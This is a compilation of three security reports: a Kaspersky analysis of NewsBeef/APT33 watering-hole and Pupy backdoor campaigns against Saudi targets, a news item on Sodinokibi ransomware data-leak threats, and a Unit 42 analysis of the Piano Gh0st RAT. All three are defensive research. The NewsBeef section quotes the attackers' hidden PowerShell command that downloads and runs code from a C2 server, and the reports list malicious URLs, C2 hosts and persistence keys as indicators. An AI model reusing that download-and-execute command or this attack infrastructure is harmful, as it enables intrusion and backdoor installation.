Most of the samples mentioned above were digitally signed, and in all those cases, the certificate was issued after the packing date. This is a strong indication that the compilation timestamp of the packed artifact was not modified.
Based on the above observations and their related threats to validity, we assess it is likely the compilation timestamps were not altered. |
# ‘Twas the Night Before
By GReAT
Recently, the United States Cyber Command (USCYBERCOM Malware Alert @CNMF_VirusAlert) highlighted several VirusTotal uploads of theirs – and the executable objects relating to 2016 – 2017 NewsBeef/APT33 activity are interesting for a variety of reasons. Before continuing, it’s important to restate yet again that we defend customers, and research malware and intrusions, regardless of their source. Accordingly, subscribers to our private APT intelligence reports receive unique and extraordinary data on the significant activity and campaigns of over 100 APTs from all over the world, including this 2016-2017 NewsBeef/APT33 activity.
USCYBERCOM’s VirusTotal executable object uploads appeared in our January 2017 private report “NewsBeef Delivers Christmas Presence”, an examination of a change in the tactics used in spear-phishing and watering hole attacks against Saudi Arabian targets. Two files uploaded by USCYBERCOM are of particular interest. These were first seen Dec 2016 and Jan 2017:
- **MD5:** d87663ce6a9fc0e8bc8180937b3566b9, served as:
- jquerycode-download[.]live/flashplayer23pp_xa_install.exe
- jquerycode-download[.]live/chrome_update.exe
- Detected as BSS:Exploit.Win32.Generic, Trojan-Downloader.Win32.Powdr.a, Trojan-Downloader.MSIL.Steamilik.zzo
- **MD5:** 9b1a06590b091d300781d8fbee180e75, served as:
- jquerycode-download[.]live/citrixreceiver.exe
- jquerycode-download[.]live/citrixcertificate.exe
- ntg-sa[.]com/downloads/citrix_certificate.exe
- Detected as BSS:Exploit.Win32.Generic, Trojan-Downloader.PowerShell.Agent.ah, DangerousObject.Multi.Generic
In order to share insight into Cyber Command’s highlighted malware and its context, some of our private report’s content will be re-written here. The January 2017 report followed up on other private reports published on the group’s BeEF-related activity in 2015 and 2016. All of them cover a thread of mid-2015 activity continuing into 2016, then resetting and advancing in 2016 and into 2017. Bear in mind that regardless of current leaks, which do not always present exhaustive information on group participants, activity from the region has had multiple overlaps and presents a confusion of internal dynamics.
## Executive Summary
The NewsBeef APT previously engaged in long-term, elaborate social engineering schemes that take advantage of popular social network platforms. Previous analysis of the NewsBeef APT indicates that the group focuses on Saudi Arabian (SA) and Western targets, and lacks advanced offensive technology development capabilities.
In previous campaigns, NewsBeef relied heavily on its namesake technology, the Browser Exploitation Framework (BeEF). However, in the summer of 2016, the group deployed a new toolset that includes macro-enabled Office documents, PowerSploit, and the Pupy backdoor. The most recent NewsBeef campaign uses this toolset in conjunction with spearphishing emails, links sent over social media/standalone private messaging applications, and watering hole attacks that leverage compromised high-profile websites (some belonging to the SA government). The group changed multiple characteristics year over year – tactics, the malicious JavaScript injection strategically placed on compromised websites, and command and control (C2) infrastructure.
In a nutshell:
- The NewsBeef actor deployed a new toolset in a campaign that focused primarily on Saudi Arabian targets.
- BeEF does not appear to be deployed as a part of the current campaign.
- Compromised government and infrastructure-related websites are injected with JavaScript that geolocates and redirects visitors to spoofed, attacker-controlled web servers.
- Improvements in JavaScript injection and obfuscation may extend server persistence.
- NewsBeef continues to deploy malicious macro-enabled Office documents, poisoned legitimate Flash and Chrome installers, PowerSploit, and Pupy tools.
## Technical Analysis
The NewsBeef campaign is divided into two main attack vectors, spearphishing and strategic web compromise (watering hole) attacks. The group’s spearphishing component uses malicious, macro-enabled, Microsoft Office documents that deliver PowerShell scripts. The scripts download poisoned installers (e.g., Flash, Citrix Client, and Chrome) from an online presence (in at least one case, the group spoofed a legitimate, well-known IT services organization). Once the installer is downloaded to a victim machine, it runs PowerSploit scripts that in turn download and execute a full-featured Pupy backdoor.
On December 25, 2016, the NewsBeef APT stood up a server to host a new set of Microsoft Office documents (maintaining malicious macros and PowerShell scripts) to support its spear-phishing operations. The group sent these documents (or links to them) to targets via email, and over social network and standalone messaging clients.
To compromise websites and servers, the group identified vulnerable sites and injected obfuscated JavaScript that redirected visitors to NewsBeef-controlled hosts (which tracked victims and served malicious content). These compromised servers include Saudi Arabian government servers and other high-value organizational identities relevant to their targets.
### Targets, Social Engineering, Delivery Chain
The majority of NewsBeef targets that our researchers have observed are located in SA. Targeting profiles include:
- Government financial and administrative organizations
- Government health organizations
- Engineering and technical organizations
- One British labor-related government organization (targeted multiple times)
The bulk of the targets were affected through strategic web compromises, especially via compromised government servers. However, Kaspersky Security Network (KSN) records also contain links that victims clicked from the Outlook web client “outlook.live.com” as well as attachments arriving through the Outlook desktop application. This behavior falls in line with previous NewsBeef operations, where the group used other standalone messaging clients to send malicious links. Interestingly, NewsBeef set up its server using the hosting provider “Choopa, LLC, US”, the same hosting provider that the group used in attacks over the summer of 2016.
The domain “ntg-sa[.]com” appears to be an attempt by the NewsBeef actor to spoof the legitimate Saudi IT services organization, “National Technology Group” (NTG) at “ntg.com[.]sa”. The malicious documents served at the spoofed website are shown below:
NTG is a legitimate company that provides IT services and support to SA government organizations and communications firms (as well as international financial groups and retailers), making it a high-value identity. Spoofing the identity of an IT service provider is a particularly important asset to threat actors that can abuse the inherent trust of IT organizations to push software (which may appear suspicious if served from another source). NTG’s IT focus and client list likely aided NewsBeef’s delivery of malicious PowerShell-enabled Office documents and poisoned installers.
In December 2016, the following active URLs were served from the spoofed NTG identity. All of the poisoned installers are technologies that an IT support service may be expected to deliver.
- hxxps://ntg-sa[.]com/Downloads/flashplayer23pp_xa_install.exe
- hxxps://ntg-sa[.]com/Downloads/Citrix_Certificate.exe
- hxxps://ntg-sa[.]com/Downloads/Chrome_Update.exe
In this scenario, the poisoned Flashplayer, Citrix, or Chrome installer drops the file “install.bat”. The batch file runs the PowerShell command:
```
powershell.exe -w hidden -noni -nop -c “iex(New-Object System.Net.WebClient).DownloadString(‘http://139.59.46[.]154:3485/eiloShaegae1’)
```
The command downloads “eiloShaegae1”, another PowerShell downloader script. This second PowerShell downloader script downloads and runs the payload; a PowerSploit ReflectivePEInjection script, “hxxp://139.59.46[.]154:3485/IMo8oosieVai”. The script maintains and then decodes a base64 string. This base64 string is the Pupy backdoor DLL, which is loaded and run in-memory, never touching the disk. This Pupy backdoor immediately communicates with 139.59.46[.]154 over obfs3, posting collected system data and retrieving commands.
This selection of “The Threebfuscator” for command and control (C2) communications is interesting, because it is an obfuscating protocol used to mask Tor communications. It is possible that the use of obfs3 indicates the attackers’ understanding of its effectiveness against outbound connection monitoring.
Another notable spoofed domain used during this campaign is the “maps-modon[.]club” domain. The domain “maps.modon.gov[.]sa” was compromised in December 2016, and the “maps-modon[.]club” domain created on December 8, 2016. The domain shared the same IP address (45.76.32[.]252) as “ntg-sa[.]com”. Although we did not observe any malicious documents retrieved from that domain, it is likely that the domain served the same documents as ntg-sa[.]com. The filenames of the malicious Office documents (hosted at the spoofed NTG site) are relevant to typical IT and contracting resources and indicate that this scheme relies on effective social engineering tactics related to human resources and IT activities.
In other schemes, the attackers sent macro-enabled Office attachments from spoofed law firm identities (or other relevant service providers) to targets in SA. The law firm in this scheme is based in the United Kingdom and is the sole location for targets outside of SA for this campaign.
### Compromised Servers and Injected JavaScript
Starting in October 2016, NewsBeef compromised a set of legitimate servers and injected JavaScript to redirect visitors to hxxp://analytics-google[.]org:69/Check.aspx. The entire list of compromised servers is exclusively Saudi Arabian and includes organizations from the following industries:
- Energy services for industrial processes
- Telecom engineering and implementation services
- Shipping and logistics
- Metal engineering and manufacturing
- Information technology services
- Cement and building materials
These recent attacks against legitimate servers (when compared to previous NewsBeef activity) indicate that NewsBeef operators have improved their technical skills, specifically their ability to covertly inject JavaScript code into served web pages. Their injection and obfuscation techniques enable the actor to serve the same JavaScript with every page visit to the “watering hole” site as well as increase the difficulty of identifying the malicious JavaScript source on compromised sites.
For example, on a Saudi government website, the NewsBeef APT delivered packed JavaScript into the bottom of a referenced script that is included in every page served from the site. The JavaScript forces visiting web browsers to collect and send (via a POST request) web browser, browser version, country of origin, and IP address data to the attacker-controlled server “jquerycodedownload[.]live/check.aspx”.
It is likely that this collection of visitor information represents an attempt to limit the number of infections to a specific target subset and reduce the attacker’s operational footprint. Although we did not identify injected JavaScript related to the “analytics-google[.]org/check.aspx” redirections, it is likely that it performed similar data collection and exfiltration (via POST). This technique appears to be an improvement over the simple .JPG beaconing which researchers observed in previous NewsBeef watering hole attacks.
The most trafficked of the compromised sites (which redirect to “jquerycode-download[.]live”) appears to be the government site at “scsb.gov[.]sa/portal/”. A high volume of redirections from the compromised site continues into mid-January 2017.
Below is a list of compromised websites and the associated URL that serves the injected, second layer JavaScript. Note that the JavaScript resource changes on every compromised website among many other referenced JavaScript sources, making it difficult to track down the source of the malicious script per site:
- www.taqa.com[.]sa/Scroll-jquery.js
- 199099.gov[.]sa/_LAYOUTS/Yesser.NCC/js/jquery-1.7.2.min.js
Multiple other relevant sites were compromised and redirecting as well.
## The Pupy Backdoor
Pupy is an open-source, multi-platform (Windows, Linux, OSX, Android), multi-function backdoor. The backdoor is mainly written in Python and uses code from other open-source attack tools like PowerSploit, Mimikatz, laZagne, etc. Pupy can generate backconnect or bindport payloads in multiple formats: PE executables (x86/x64) for Windows, ELF binary/.so for Linux, reflective DLLs (x86/x64), pure Python files, PowerShell, apk, and Rubber Ducky script (Windows).
The malicious DLL deployed by NewsBeef contains Python code, a Python interpreter, and the MSVC runtime library as well as code that loads the Python interpreter, runs Python code, and exports some functions for Python. A configuration string contains base64-encoded Python code (packed with zlib) with transport configuration and information about C2 server addresses.
When initiated, the Python code attempts to retrieve and use SOCKS/HTTP proxy settings from the victim’s computer. The Python code then tries to initiate a reverse connection to the C2 server (139.59.46[.]154:3543) using a TCP protocol with RSA+AES traffic encryption and obfs3 transport using default keys from Pupy sources.
After a successful connection, NewsBeef Pupy sends information about the infected computer and waits for commands (which take the form of modules) from the C2 server. The C2 server can send modules with Python code and compiled Python C extensions. The main functionality of the backdoor is implemented in packages (Python code, compiled Python C extensions, compiled executable files) and modules (Python code). Modules can directly access Python objects on the remote client using the RPyC module. The Python modules win32com, win32api, and ctypes are used to interact with the Win32 API. Attackers can use standard modules or write their own. All modules are executed in memory (a Pupy process can migrate between processes using the corresponding module).
## Conclusion
Previous reports on the NewsBeef APT noted the group’s reliance on open-source tools to launch simple, yet effective attacks. Historically, the group has used BeEF to track targets and deliver malicious payloads. However, as this recent campaign indicates, the NewsBeef APT appears to have shifted its intrusion toolset away from BeEF and towards macro-enabled malicious Office documents, PowerSploit, and Pupy. Despite this shift in toolset, the group still relies on old infrastructure as evidenced by their reuse of servers hosted by the service providers Choopa and Atlantic.net.
The improvements in tactics, techniques, and procedures appear to have paid off. The most recent campaign indicates that the group was able to compromise a larger number of sites including valuable, high-profile SA government identities. However, despite these improvements in technology, the NewsBeef APT continues to rely on social engineering schemes and open-source tools – attributes that increase the chances of identification.
NewsBeef attacks against Saudi Arabian organizations and individuals (as well as targets in the European Union) are likely to continue. Additionally, researchers expect that as the group evolves, its tasking will expand to other organizations doing business with, or connected to Saudi Arabian organizations and individuals.
Due to the group’s specific target set, it is crucial that SA security teams, administrators, and developers (especially web application administrators/developers) update their WordPress, Joomla, and Drupal-based web applications and plugins – as these assets are actively scanned and exploited by this APT.
## Appendix
### Related Object MD5 (executable code, malicious office documents, javascript, powershell, etc)
- f4d18316e367a80e1005f38445421b1f
- 638b74a712a7e45efc9bec126b0f2d87
- 45b0e5a457222455384713905f886bd4
- 19cea065aa033f5bcfa94a583ae59c08
- ecfc0275c7a73a9c7775130ebca45b74
- 1b5e33e5a244d2d67d7a09c4ccf16e56
- fa72c068361c05da65bf2117db76aaa8
- 43fad2d62bc23ffdc6d301571135222c
- ce25f1597836c28cf415394fb350ae93
- 03ea9457bf71d51d8109e737158be888
- edfc37461fa66716b53333fd7f841a8e
- 623e05dd58d86da76fdfcf9b57032168
- 6946836f2feb98d6e8021af6259a02dd
- f4d18316e367a80e1005f38445421b1f
- d87663ce6a9fc0e8bc8180937b3566b9
- f9adf73bf1cdd7cd278e5137d966ddd4
- b8373f909fa228c2b6e7d69f065f30fb
- 9b1a06590b091d300781d8fbee180e75
- bcafe408567557289003c79f745f7713
- 45b0e5a457222455384713905f886bd4
- 83be35956e5d409306a81e88a1dc89fd
- c2165155fcba5b737ee70354b5244be3
- 444c93e736194a01bf3b319e3963d746
- 0ed61b6f1008000c6dfcd3d842b21971
- 3fb33a2747b39a9b1c5c1e41fade595e
- b34fd14105be23480c44cfdf6eb26807
### URLs
Hosting malicious docs, executables, PowerShell and Pupy backdoors
- moh.com-ho[.]me/Health_insurance_plan.doc
- moh.com-ho[.]me/Health_insurance_registration.doc
- mol.com-ho[.]me/cv_itworx.doc
- mci.com-ho[.]me/cv_mci.doc
- jquerycode-download[.]live/flashplayer23pp_xa_install.exe
- jquerycode-download[.]live/citrixcertificate.exe
- jquerycode-download[.]live/chrome_update.exe
- jquerycode-download[.]live/CitrixReceiver.exe
- jquerycode-download[.]live/check.aspx
- jquerycode-download[.]live/CheckLog.aspx
- https://ntg-sa[.]com/downloads/citrix_certificate.exe
- https://ntg-sa[.]com/Downloads/flashplayer23pp_xa_install.exe
- https://ntg-sa[.]com/Downloads/Chrome_Update.exe
- http://ntg-sa[.]com/cv.doc
- http://ntg-sa[.]com/cv_itworx.doc
- http://ntg-sa[.]com/cv_mci.doc
- http://ntg-sa[.]com/discount_voucher_codes.xlsm
- http://ntg-sa[.]com/Health_insurance_plan.doc
- http://ntg-sa[.]com/Health_insurance_registration.doc
- http://ntg-sa[.]com/job_titles.doc
- http://ntg-sa[.]com/job_titles_itworx.doc
- http://ntg-sa[.]com/job_titles_mci.doc
- http://ntg-sa[.]com/Password_Policy.xlsm
- 45.32.186.33
- http://itworx.com-ho[.]me/*
- http://mci.com-ho[.]me/*
- http://moh.com-ho[.]me/*
- http://mol.com-ho[.]me/*
- http://ntg-sa[.]com/*
- taqa.com[.]sa/arabic/resumes/resume.doc
- taqa.com[.]sa/arabic/resumes/cv-taqa.doc
- taqa.com[.]sa/arabic/images/certificate.crt.exe
- taqa.com[.]sa/arabic/tempdn/cv-taqa.doc
- 104.218.120[.]128/pro.bat
- 104.218.120[.]128/msservice-a-2.exe
- 104.218.120[.]128/msservice-a-4.exe
- 104.218.120[.]128/check.aspx
- 104.218.120[.]128:69/checkFile.aspx
- 139.59.46[.]154/IMo8oosieVai
- 139.59.46[.]154:3485/eiloShaegae1
- 69.87.223[.]26/IMo8oosieVai
- 69.87.223[.]26:8080/eiloShaegae1
- 69.87.223[.]26:8080/p
### Additional C2
- analytics-google[.]org:69/check.aspx
- analytics-google[.]org/checkFile.aspx
- jquerycode-download[.]live/check.aspx
- jquerycode-download[.]live/checkFile.aspx
- go-microstf[.]com/checkFile.aspx
- 104.218.120[.]128/check.aspx
- 104.218.120[.]128:69/check.aspx |
# Sodinokibi Ransomware Threatens to Publish Data of Automotive Group
The attackers behind the Sodinokibi Ransomware are now threatening to publish data stolen from another victim after they failed to get in touch and pay the ransom to have the data decrypted. Sodinokibi claims that this data was stolen from GEDIA Automotive Group, a German automotive supplier with production plants in Germany, China, Hungary, India, Mexico, Poland, Hungary, Spain, and the USA. GEDIA also has over 4,300 employees all around the world and it had an annual turnover of €600 million (over $665 million) in 2017.
The group published a Microsoft Excel spreadsheet containing an AdRecon report with information on an Active Directory environment. The Sodin attackers appear to use Sense of Security's open-source AdRecon tool on each of their victims' AD environments as they have also released a similar spreadsheet for a previous victim named Artech Information Systems. BleepingComputer asked GEDIA to confirm the ransomware attack but did not hear back at the time of publication.
"Now for the tasty. gedia.com. They didn’t get in touch. All computers on the network are encrypted," as Sodinokibi said on a Russian hacker and malware forum. "More than 50 GB of data was stolen, including drawings, data of employees and customers. All this is carefully prepared for implementation on the stock exchange of information. What they don’t buy, we’ll post it for free. 7 days before publication."
This happens after Sodinokibi posted download links to 337 MB worth of files supposedly stolen from Artech Information Systems, a "minority- and women-owned diversity supplier and one of the largest IT staffing companies in the U.S." The operators behind Sodinokibi Ransomware also said that they'll begin selling the data they stole from Artech on data exchange platforms frequented by cybercriminals as they threatened on January 11.
Exfiltrating data before encrypting ransomware victims' systems and leaking the stolen data is a new tactic recently adopted by ransomware gangs. If their victims don't pay the ransom, the attackers will then slowly start leaking parts of the stolen data cache until they get paid or all the files have been released. This new trend started by Maze Ransomware during late November 2019 and now adopted by Sodinokibi, as well as Nemty Ransomware and BitPyLock during January 2020 who are saying that they'll start stealing data before encrypting victims' devices.
Even though they would also sniff around their victims' files before publicly announcing it, ransomware groups never released any of the data they stole until Maze Ransomware leaked 700 MB worth of documents stolen from Allied Universal during late November. Companies that get hit by ransomware aren't yet treating such security incidents as data breaches even though a wide range of sensitive records containing personal, financial, and medical information now also gets swiped before being encrypted and ransomed. This will most probably change in the near future, as lawmakers will take notice and will push out legislation also requiring data breach disclosures following ransomware attacks. |
# Musical Chairs: Multi-Year Campaign Involving New Variant of Gh0st Malware
By Brandon Levene, Robert Falcone, and Jen Miller-Osborn
September 8, 2015
Category: Malware, Threat Prevention, Unit 42
Tags: AutoFocus, Gh0st, Gh0stRat, Musical Chairs, Piano Gh0st, WildFire
The Gh0st malware is a widely used remote administration tool (RAT) that originated in China in the early 2000s. It has been the subject of many analysis reports, including those describing targeted espionage campaigns like Operation Night Dragon and the GhostNet attacks on Tibet. Musical Chairs is a multi-year campaign which recently deployed a new variant of Gh0st we’ve named “Piano Gh0st.”
Our evidence suggests the actors behind these attacks have been operating for over five years and have maintained a single command and control server for almost two. They use compromised e-mail accounts to distribute their malware widely, and their targeting appears opportunistic rather than specific.
The overall motivation of this campaign is unclear at this time. Gh0st is very versatile as it allows an adversary to take complete control over the infected system, including installing additional malware.
## Tracking the Gh0st
Using Palo Alto Networks AutoFocus, we have identified Gh0st variants associated with Musical Chairs leading back to mid-2013. The source code and building tools for Gh0st are available freely on the web; anyone who is so inclined can build their own version of the malware. The way researchers differentiate between most variants is based on their “magic tag.”
Gh0st uses a custom TCP protocol to connect to a command and control (C2) server and retrieve instructions from the attacker. The malware identifies itself to the server by sending a string of characters (the magic tag), which the server repeats back to confirm the connection. In the original version, this string was “Gh0st,” but in subsequent versions, many different strings are used. These strings, along with the actual location of the command and control server (domain and/or IP address), allow us to associate various Gh0st samples with a single attacker or group. In 2011, Norman released a paper that showed many clusters of Gh0st samples that were connected based on these tags.
Using these tags in the network traffic, the command and control infrastructure, and other characteristics of the attacks, we have grouped together a series of attacks into the one campaign, named Musical Chairs.
The functionality of Gh0stRat (3.6) is well documented by multiple sources and is summarized below:
- Keylogging
- Remote terminal access
- Remote audio and video access
- File management
- Remote file download and execution
- Process explorer and additional system enumeration capabilities
- GUI interaction (remote control)
- Self Update
- Reset of SSDT to remove existing hooks
## Spreading the Gh0st
The Gh0st variants used in the Musical Chairs campaign are distributed using phishing e-mails. The threat actors behind the attacks use a “shotgun” approach, blasting e-mails to as many recipients as possible in hopes of tricking a small percentage of targets into opening the attack. The attackers generally do not rely upon any vulnerability exploitation and instead rely on the user to open the attached executable to compromise their system. Additionally, the phishing messages are sent from US-based residential ISP e-mail addresses. The accounts themselves appear to be legitimate and are likely also compromised by this actor.
In many cases, the phishing e-mails are sent indiscriminately to all e-mail addresses in an infected user’s address book, including “no-reply” addresses a human operator would know to ignore.
While Gh0st itself does not have built-in e-mailing components, it is also possible that an additional payload is responsible for the propagation via e-mail. The following list contains known filenames of attachments used in the delivery stage of the Musical Chairs campaign:
- “Pleasantly Surprised.exe”
- “Beautiful Girls.exe”
- “Sexy Girls.exe”
- “gift card.exe”
- “amazon gift card.pdf.exe”
The subject of the e-mails carrying these files typically matches the filename itself and does not contain any sophisticated attempts at social engineering. The attacks detected thus far by Palo Alto Networks WildFire have been exclusively in the United States and do not appear to target any particular industry.
## Infrastructure
The infrastructure used in Musical Chairs stands out primarily due to its longevity and use of multiple Gh0st command servers on the same host. At the center of the infrastructure for the last two years is a Windows 2003 server using the IP address 98.126.67.114. The server uses a US-based IP address but displays a Chinese language interface for Remote Desktop connections.
Thus far, Unit 42 has identified 32 different Gh0st samples connecting to this server dating back to July of 2013. The Gh0st C2 software operates on Windows and allows the attacker to specify which port it should listen on for connections from infected systems. The attacker may host multiple Gh0st C2s on this server at one time or may change the hosting TCP port very frequently. The 32 samples we have identified connect to 19 different TCP ports.
| First Seen | Gh0st TCP Port |
|------------|-----------------|
| 7/18/13 | 10003 |
| 9/4/13 | 10009 |
| 9/4/13 | 10008 |
| 9/14/13 | 10004 |
| 10/15/13 | 10004 |
| 11/21/13 | 20004 |
| 11/28/13 | 20001 |
| 1/2/14 | 40000 |
| 1/2/14 | 40000 |
| 1/9/14 | 20004 |
| 1/29/14 | 10008 |
| 3/17/14 | 30001 |
| 4/17/14 | 8001 |
| 4/22/14 | 8001 |
| 7/14/14 | 10005 |
| 8/18/14 | 8003 |
| 9/10/14 | 9000 |
| 9/19/14 | 9000 |
| 10/27/14 | 10006 |
| 2/20/15 | 9001 |
| 3/24/15 | 600 |
| 7/13/15 | 200 |
| 7/15/15 | 200 |
| 7/15/15 | 200 |
| 7/17/15 | 200 |
| 7/21/15 | 200 |
| 7/21/15 | 201 |
| 7/22/15 | 201 |
| 7/29/15 | 201 |
| 8/10/15 | 203 |
| 8/18/15 | 204 |
| 8/20/15 | 204 |
While 98.126.67.114 is the longest-standing command and control server, it is not the only server used by Musical Chairs. The malware typically finds this server using a domain that is registered by the attacker, and the registration information used by these C2 domains has allowed us to identify additional infrastructure used in these attacks.
These many related domains put the approximate start date of this campaign in 2010. The earliest versions of the attacks we’ve found are still visible in e-mail groups and public Facebook postings.
Finally, we located a user who posted to the Gmail Help forum in 2010 requesting assistance with ridding their system of malware. He states that all of his contacts received one of the “self-view” phishing e-mails after his system was compromised.
While we have not been able to identify the specific malware used to distribute these spam messages, the infrastructure and the themes used in the e-mails connect them directly back to Musical Chairs happening this year.
## Piano Gh0st
In July, Musical Chairs began deploying a new variant of Gh0st, which we’ve named “Piano Gh0st.” This variant uses a new wrapper file to hide the Gh0st payload. The files are delivered as a self-extracting executable (SFW) that acts as the dropper. It is responsible for extracting its payload to “c:\microsoft\lib\ke\Piano.dll” and executes the “mystart” function within the DLL’s export address table (EAT) using rundll32.exe.
The “Piano.dll” file itself has very little functionality other than decrypting, loading, and running an embedded DLL. It decrypts the embedded DLL using the Blowfish symmetric cipher with a simple key consisting of the character “y.” “Piano.dll” proceeds to load the newly decrypted DLL manually and calls the exported function “my start.” The decrypted DLL has the following attributes:
- MD5: 8182a33cc1268c0c3b4e3d9a02d912c9
- SHA256: 32026e702cff8fd3f113473ea2698eab0ca181aa2d0fd0e8802e31aa3befa94a
- Type: PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit
- Size: 148008 bytes
- Imphash: 9c01d71c9bf78d231a313c86540e284c
- Compiled: 2015-07-14 02:11:32
- Exports: (0x123f0) mystart
This embedded DLL is the actor Gh0stRat Trojan, specifically version 3.6. The following debugging path is found within the DLL, which suggests the individual who compiled this DLL has a Chinese language pack (GB2312 specifically) installed:
C:\Documents and Settings\Administrator\GetRawInputData_dlll\_win7bug\Mutext_LSPlayer_20150708\gh0st3.6\Server\svchost\Release\
The Trojan maintains persistence on the infected system by creating an entry in the registry at “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” with the key “nvidiake” and value “c:\microsoft\lib\ke\vv.js.”
The file “vv.js” in the registry key is a simple one-line JavaScript that executes the “vvv.bat” file. The ‘vvv.bat’ file is a batch file that executes the Piano.dll payload in the same way as the initial dropper, using “rundll32.exe” to call the “mystart” exported function.
After setting up the registry keys for persistence, the Gh0stRat sample begins communicating with its command and control server using a custom network protocol. The magic tag used by this version of Gh0st is “clarkclar1.” This variant also communicated with a command and control server using the domain www.meitanjiaoyiwang[.]com, which is hosted by 98.126.67.114 on tcp port 200.
## Detection and Prevention
Palo Alto Networks WildFire detected the Gh0st malware, including the Piano Gh0st variant, as malicious based on the behavior the attack files exhibit on an infected system. Additionally, we have deployed threat prevention signatures to detect Piano Gh0st alongside our previously deployed signatures for earlier Gh0st variants. AutoFocus users can find more information about this threat using the MusicalChairs tag.
The following indicators identify attacks using Piano Gh0st and the Musical Chairs campaign:
| Type | Value |
|-----------|-------|
| sha256 | 50f08f0b23fe1123b298cb5158c1ad5a8244ce272ea463a1e4858d12719b337f |
| sha256 | 8dac9fa1ea29a90893a77f4d49c1393fa99a967e8af6a507037789041911de95 |
| sha256 | f08f26a7026ba249d021ca21f097405a536771f38d94081731c0f7960177408b |
| sha256 | f5c868d9ac4d18c9c88e181af9370769bf52928d04874d8c3142badf83f664e3 |
| sha256 | e60c25ee1404433e3f78e50f5edea11f186211148ce8e5abb22c1f01b76d96f3 |
| sha256 | 4babcaf4694fb8207ea3774f6c2339a28c0ce5913fb9ac396a8e50efa75e10cd |
| sha256 | d36d80c5b9da830fd027cd219d9dabcedd73f5d2da5009b2661c4f0438773c3e |
| sha256 | 29726da0ebd8960cab09f91bb8fa37db27b1ca2a3897235c645d1896df10303b |
| sha256 | 61b77cada9c2a16daeb465e439cb3e38c857f1559455187469821893bf542666 |
| sha256 | a0fdb977b712e669aae28723f1a4b90735a5af9e92937558c9da8f62614a1a17 |
| sha256 | 73ae929dde6826306046d8db744da6e5150f5c508298726b634d39c279192ad0 |
| sha256 | e297929c583c6f84727c312b937c43550d71fe2bca4f4138d53441c7e269cfa4 |
| sha256 | 55090a930b6c37f9ff215793e950a4ffb67f516fd0a14409b027f995d27da082 |
| sha256 | a7afee2227ff3ee64695235c7eed214ee1d18c2b6e287616118b5f38fd6720dc |
| sha256 | 4306af9aa2b585dd07c4b114bc7e292f7f9ab06732ae7a9e7f4831b88127c85a |
| sha256 | 66b1260565e2243bba1436f43e986ff741bd391305114d7bef891273e03abd72 |
| sha256 | 022ca8187bfb1f347a0e547417a8088a5cc0e38fd9aa51b464154fbcf4aa149c |
| sha256 | 9b823f0d60e348707fbbc1da8b37b3c9cd5ea1f43277ba8069e302ff05fee531 |
| sha256 | c256ca3514d23818cab28b61d1df52a513d1f2beda8c5e81c3336de762f9f3f4 |
| sha256 | 7eeba4a511cdeb6b48ca3d09b751be047aa553ea5f6c416494200d1aee520fe4 |
| sha256 | 552f44540e944b3263fc8c32c7dba927f6e7f3f4489bb13b8ecc52c3fd40bf1 |
| sha256 | e1290e92c5caff9631f4ebe53df27293b71df19b6b5435323332658ebaa9c6b6 |
| sha256 | fb8b4bc012d45ba78e721a6f73df77ac7838998109c388ced95c995a7e7303f8 |
| sha256 | 20236c7a6c0c29664976ab943118477583545ed8461b14933b2d49cee10dd051 |
| sha256 | da297e8bf799032e0a52c4535997abf30202f33ce9d4162139129463c386efcc |
| sha256 | 4b7133e45f368cc0b6728830bc9e1219ff318eb384caf5ecbb54e12e6e6c1925 |
| sha256 | e737e2253f016ab65b521d4f4e7b2a06741fa2541c52f0994edfc1763a053910 |
| sha256 | 07cf20da1ef235ee98c25495bf9b845754f21ed105d5211001885fd2eea3210f |
| sha256 | d467504e8b8608b4fae334c426e8ac02f762993064bf1db20bb6090b42648648 |
| sha256 | 8a2a5f155707109bc0a6f179f1a749b216504b373c765c8193a7dd958b17be7c |
| sha256 | a95933553fca054e08bd213b7f364b084ef19936a425d7260e08a8e7fdfd2ce6 |
| sha256 | 6adced734d5498bbcc9fc111ce43bd7fd8db098106eaa3cfc025de7ba6dc02a7 |
| sha256 | c608bb6f3723aad1608963e661c8fb80ace93f02f7d52f61a1355e9512676d62 |
| sha256 | e58085656708d9759856325afb6cd67ec0ff7a126e27907efa2e91ef9a0ff474 |
| sha256 | bba343d4043ea3d170f4027546fad7f991b7ebce9e923dc42e16d88b570ff167 |
| sha256 | 96c301bfa09338740575c4758d558b12e338654b16fc4b9d2badb9610358bf63 |
| sha256 | d3c8161f76d4187f32039b5557e22e5fb684c06aa3e145e813ee7a4e166cbf47 |
| sha256 | 34dabb10ea595c773ae4f8c13b7d7fdb41927bc7052ef76204735bbffeda1c47 |
| sha256 | 9c547a7c523e367948d2c645407d0919053ef48292173efe263f3ccfdcdc8e92 |
| sha256 | f31b23dee1e047e5b472bca54c06594c2cca5adcebd2290f35b60cb2ebb3ee26 |
| sha256 | a764f76276e41ec49b388e8c7c53b602edcc29ff3ac8f8ab4b52913eb91934e3 |
| sha256 | e58eb692d3933dfda630f659d447d7c8026eaf32d35478bd7056515706eb1481 |
| sha256 | b50544ad3341fbee60338f45bd4043450238a301e022c1010115a2003a970a23 |
| sha256 | 09f24435e47be74f90d032c78a84fa37f06ce9452a6d3a75c263ae012a7ae626 |
| sha256 | 83e7aaf52e5f567349eee880b0626e61e97dc12b8db9966faf55a9921bac61da |
| sha256 | acc340d986e720441ec5112746d3f94b248b44fe5d4c1da0fb866a3013384ad2 |
| sha256 | 1181e9bb8fbcf1ebad8b6a7f157b6cc71e9c996c3601baecc3a2f25ba27032ee |
| sha256 | 89968a9c846aad54cd78d7bfe704f0ab71f75d54b982540f594afdaa9100f4fc |
| sha256 | 88feda3120381216bc96a09e4b6e43e89d5776b5ca3b2d820710be0678f19867 |
| sha256 | f37dc918d8064671edcb28c12397c576d3b66b6da21e1670a1a9428f03fb8478 |
| sha256 | 3a8ddb7b456332301d02222df48070f62e1e39a48e74f39ca8633028599ae250 |
| sha256 | 7b8a3efef6c4847697331badcdb0b306ceaa013233ce1c7ee8de8ae933c2d89d |
| sha256 | ca63a159d58cb7b9bff57646b0e5bc9a61c51f4e08304d9d73c87c876f77b7f5 |
| sha256 | 76d97074410251347a9398a90e42e02866c30ba71303fe9cccf236ea229172a4 |
| sha256 | c76a817bcae00ec0ca86624b2e62458fec07a5682d92eb59568639fa0586bb1e |
| sha256 | bdb89defb03055e962c6627e8baa0ffd83dda81a1b239bc48e751c2ea5aa2b29 |
| sha256 | 81c8ef33d1e6ebfaad55e20b1e715007aa310b6aa55903e427225648efbbb779 |
| sha256 | 85894b6181535efe15ec5ff7575cee8975aa86ec611d94fb7709b54e5ccfc9f2 |
